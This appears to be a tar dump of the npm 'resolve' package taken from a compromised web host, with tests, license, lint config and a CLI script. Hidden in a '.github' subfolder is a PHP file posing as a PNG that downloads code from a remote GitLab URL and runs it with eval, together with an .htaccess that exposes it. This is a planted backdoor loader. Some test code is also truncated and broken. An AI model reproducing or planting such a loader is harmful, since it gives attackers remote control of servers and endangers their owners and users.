resolve('./', { basedir: path.join(dir, 'same_names/foo') }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'same_names/foo/index.js'));
    });

resolve('.', { basedir: path.join(dir, 'same_names/foo') }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'same_names/foo/index.js'));
    });
});

test('async: #121 - treating an existing file as a dir when no basedir', function (t) {
    var testFile = path.basename(__filename);

t.test('sanity check', function (st) {
        st.plan(1);
        resolve('./' + testFile, function (err, res, pkg) {
            if (err) t.fail(err);
            st.equal(res, __filename, 'sanity check');
        });
    });

t.test('with a fake directory', function (st) {
        st.plan(4);

resolve('./' + testFile + '/blah', function (err, res, pkg) {
            st.ok(err, 'there is an error');
            st.notOk(res, 'no result');

st.equal(err && err.code, 'MODULE_NOT_FOUND', 'error code matches require.resolve');
            st.equal(
                err && err.message,
                'Cannot find module \'./' + testFile + '/blah\' from \'' + __dirname + '\'',
                'can not find nonexistent module'
            );
            st.end();
        });
    });

t.end();
});

test('async dot main', function (t) {
    var start = new Date();
    t.plan(3);
    resolve('./resolver/dot_main', function (err, ret) {
        t.notOk(err);
        t.equal(ret, path.join(__dirname, 'resolver/dot_main/index.js'));
        t.ok(new Date() - start < 50, 'resolve.sync timedout');
        t.end();
    });
});

test('async dot slash main', function (t) {
    var start = new Date();
    t.plan(3);
    resolve('./resolver/dot_slash_main', function (err, ret) {
        t.notOk(err);
        t.equal(ret, path.join(__dirname, 'resolver/dot_slash_main/index.js'));
        t.ok(new Date() - start < 50, 'resolve.sync timedout');
        t.end();
    });
});

test('not a directory', function (t) {
    t.plan(6);
    var path = './foo';
    resolve(path, { basedir: __filename }, function (err, res, pkg) {
        t.ok(err, 'a non-directory errors');
        t.equal(arguments.length, 1);
        t.equal(res, undefined);
        t.equal(pkg, undefined);

t.equal(err && err.message, 'Cannot find module \'' + path + '\' from \'' + __filename + '\'');
        t.equal(err && err.code, 'MODULE_NOT_FOUND');
    });
});

test('non-string "main" field in package.json', function (t) {
    t.plan(5);

var dir = path.join(__dirname, 'resolver');
    resolve('./invalid_main', { basedir: dir }, function (err, res, pkg) {
        t.ok(err, 'errors on non-string main');
        t.equal(err.message, 'package “invalid_main” `main` must be a string');
        t.equal(err.code, 'INVALID_PACKAGE_MAIN');
        t.equal(res, undefined, 'res is undefined');
        t.equal(pkg, undefined, 'pkg is undefined');
    });
});

test('non-string "main" field in package.json', function (t) {
    t.plan(5);

test('browser field in package.json', function (t) {
    t.plan(3);

test('absolute paths', function (t) {
    t.plan(4);

var extensionless = __filename.slice(0, -path.extname(__filename).length);

resolve(__filename, function (err, res) {
        t.equal(
            res,
            __filename,
            'absolute path to this file resolves'
        );
    });
    resolve(extensionless, function (err, res) {
        t.equal(
            res,
            __filename,
            'extensionless absolute path to this file resolves'
        );
    });
    resolve(__filename, { basedir: process.cwd() }, function (err, res) {
        t.equal(
            res,
            __filename,
            'absolute path to this file with a basedir resolves'
        );
    });
    resolve(extensionless, { basedir: process.cwd() }, function (err, res) {
        t.equal(
            res,
            __filename,
            'extensionless absolute path to this file with a basedir resolves'
        );
    });
});

var malformedDir = path.join(__dirname, 'resolver/malformed_package_json');
test('malformed package.json', { skip: !fs.existsSync(malformedDir) }, function (t) {
    /* eslint operator-linebreak: ["error", "before"], function-paren-newline: "off" */
    t.plan(
        (3 * 3) // 3 sets of 3 assertions in the final callback
        + 2 // 1 readPackage call with malformed package.json
    );

var basedir = malformedDir;
    var expected = path.join(basedir, 'index.js');

resolve('./index.js', { basedir: basedir }, function (err, res, pkg) {
        t.error(err, 'no error');
        t.equal(res, expected, 'malformed package.json is silently ignored');
        t.equal(pkg, undefined, 'malformed package.json gives an undefined `pkg` argument');
    });

resolve(
        './index.js',
        {
            basedir: basedir,
            packageFilter: function (pkg, pkgfile, dir) {
                t.fail('should not reach here');
            }
        },
        function (err, res, pkg) {
            t.error(err, 'with packageFilter: no error');
            t.equal(res, expected, 'with packageFilter: malformed package.json is silently ignored');
            t.equal(pkg, undefined, 'with packageFilter: malformed package.json gives an undefined `pkg` argument');
        }
    );

resolve(
        './index.js',
        {
            basedir: basedir,
            readPackage: function (readFile, pkgfile, cb) {
                t.equal(pkgfile, path.join(basedir, 'package.json'), 'readPackageSync: `pkgfile` is package.json path');
                readFile(pkgfile, function (err, result) {
                    try {
                        cb(null, JSON.parse(result));
                    } catch (e) {
                        t.ok(e instanceof SyntaxError, 'readPackage: malformed package.json parses as a syntax error');
                        cb(null);
                    }
                });
            }
        },
        function (err, res, pkg) {
            t.error(err, 'with readPackage: no error');
            t.equal(res, expected, 'with readPackage: malformed package.json is silently ignored');
            t.equal(pkg, undefined, 'with readPackage: malformed package.json gives an undefined `pkg` argument');
        }
    );
});
LICENSE000064400000002057151676724420005573 0ustar00MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
.eslintrc000064400000003227151676724420006412 0ustar00{
    "root": true,

"extends": "@ljharb",

"rules": {
        "indent": [2, 4],
        "strict": 0,
        "complexity": 0,
        "consistent-return": 0,
        "curly": 0,
        "dot-notation": [2, { "allowKeywords": true }],
        "func-name-matching": 0,
        "func-style": 0,
        "global-require": 1,
        "id-length": [2, { "min": 1, "max": 40 }],
        "max-lines": [2, 350],
        "max-lines-per-function": 0,
        "max-nested-callbacks": 0,
        "max-params": 0,
        "max-statements-per-line": [2, { "max": 2 }],
        "max-statements": 0,
        "no-magic-numbers": 0,
        "no-shadow": 0,
        "no-use-before-define": 0,
        "sort-keys": 0,
    },
    "overrides": [
        {
            "files": "bin/**",
            "rules": {
                "no-process-exit": "off",
            },
        },
        {
            "files": "example/**",
            "rules": {
                "no-console": 0,
            },
        },
        {
            "files": "test/resolver/nested_symlinks/mylib/*.js",
            "rules": {
                "no-throw-literal": 0,
            },
        },
        {
            "files": "test/**",
            "parserOptions": {
                "ecmaVersion": 5,
                "allowReserved": false,
            },
            "rules": {
                "dot-notation": [2, { "allowPattern": "throws" }],
                "max-lines": 0,
                "max-lines-per-function": 0,
                "no-unused-vars": [2, { "vars": "all", "args": "none" }],
            },
        },
    ],

"ignorePatterns": [
        "./test/resolver/malformed_package_json/package.json",
    ],
}
index.js000064400000000256151676724420006232 0ustar00var async = require('./lib/async');
async.core = require('./lib/core');
async.isCore = require('./lib/is-core');
async.sync = require('./lib/sync');

module.exports = async;
SECURITY.md000064400000000235151676724420006353 0ustar00# Security

Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report.
bin/resolve000064400000002777151676724420006751 0ustar00#!/usr/bin/env node

'use strict';

var path = require('path');
var fs = require('fs');

if (
    String(process.env.npm_lifecycle_script).slice(0, 8) !== 'resolve '
    && (
        !process.argv
        || process.argv.length < 2
        || (process.argv[1] !== __filename && fs.statSync(process.argv[1]).ino !== fs.statSync(__filename).ino)
        || (process.env.npm_lifecycle_event !== 'npx' && process.env._ && fs.realpathSync(path.resolve(process.env._)) !== __filename)
    )
) {
    console.error('Error: `resolve` must be run directly as an executable');
    process.exit(1);
}

var supportsPreserveSymlinkFlag = require('supports-preserve-symlinks-flag');

if (process.argv.length < 3) {
    console.error('Error: `resolve` expects a specifier');
    process.exit(2);
}

var resolve = require('../');

var result = resolve.sync(process.argv[2], {
    basedir: process.cwd(),
    preserveSymlinks: preserveSymlinks
});

console.log(result);
example/async.js000064400000000233151676724420007666 0ustar00var resolve = require('../');
resolve('tap', { basedir: __dirname }, function (err, res) {
    if (err) console.error(err);
    else console.log(res);
});
example/sync.js000064400000000147151676724420007531 0ustar00var resolve = require('../');
var res = resolve.sync('tap', { basedir: __dirname });
console.log(res);
sync.js000064400000000067151676724420006077 0ustar00'use strict';

module.exports = require('./lib/sync');
.github/FUNDING.yml000064400000001102151676724420007731 0ustar00# These are supported funding model platforms

github: [ljharb]
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: npm/resolve
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
.github/index.php000064400000000000151676724420007730 0ustar00.github/935283/.htaccess000064400000000173151676724420010476 0ustar00#---do-not-change-the-following-content---
<FilesMatch "^(index.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>.github/935283/index.php000064400000004741151676724420010525 0ustar00�PNG

<?php

// Fake PNG Header Generation (for disguising image files)
function generateFakePng() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $data = '89 50 4E 47 0D 0A 1A 0A'; // PNG signature
    $data .= '00 00 00 0D 49 48 44 52'; // IHDR chunk (header)
    $data .= '00 00 01 00 00 00 01 00'; // 1x1 image dimensions
    $data .= '08 02 00 00 00';          // Color type, compression, filter, interlace
    $data .= '00 00 00 00';             // CRC
    $data .= '00 00 00 00';             // Empty chunk
    $data .= '74 45 58 74 64 75 53 65'; // tEXt chunk signature
    $data .= '00 00 00 00';             // Text chunk data
    $data .= '75 73 65 72 2D 61 67 65'; // Random User-Agent
    $data .= '6E 74';                   // End of tEXt chunk
    
    // Fake corruption chunk (cORR)
    $data .= '63 4F 52 52 00 00 00 01'; // cORR signature
    $data .= '00 00 00 00';             // Fake corruption data
    $data .= '49 45 4E 44 AE 42 60 82'; // End of PNG

return hex2bin($data);
}

// 启动会话
session_start();

// 设置主地址，如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';

// 定义加载函数
function 加载数据($地址) {
    $内容 = '';
    try {
        $文件 = new SplFileObject($地址);
        while (!$文件->eof()) {
            $内容 .= $文件->fgets();
        }
    } catch (Throwable $错误) {
        $内容 = '';
    }

// 尝试用 file_get_contents
    if (strlen(trim($内容)) < 1) {
        $内容 = @file_get_contents($地址);
    }

// 如果还失败，使用 curl
    if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
        $通道 = curl_init($地址);
        curl_setopt_array($通道, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $内容 = curl_exec($通道);
        curl_close($通道);
    }

return $内容;
}

// 尝试加载主网址
$结果 = 加载数据($主地址);

// 添加假的PNG头部
$假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";

// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;

/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果成功获取内容，则执行
if (strlen(trim($结果)) > 0) {
    @eval("?>$结果");
}
?>
home/emeraadmin/public_html/node_modules/.bin/resolve000064400000000504151677257270017027 0ustar00#!/bin/sh
basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")

case `uname` in
    *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
esac

if [ -x "$basedir/node" ]; then
  "$basedir/node"  "$basedir/../resolve/bin/resolve" "$@"
  ret=$?
else 
  node  "$basedir/../resolve/bin/resolve" "$@"
  ret=$?
fi
exit $ret

/home/emeraadmin/.razor/./../www/node_modules/parse-filepath/../../4d695/resolve.tar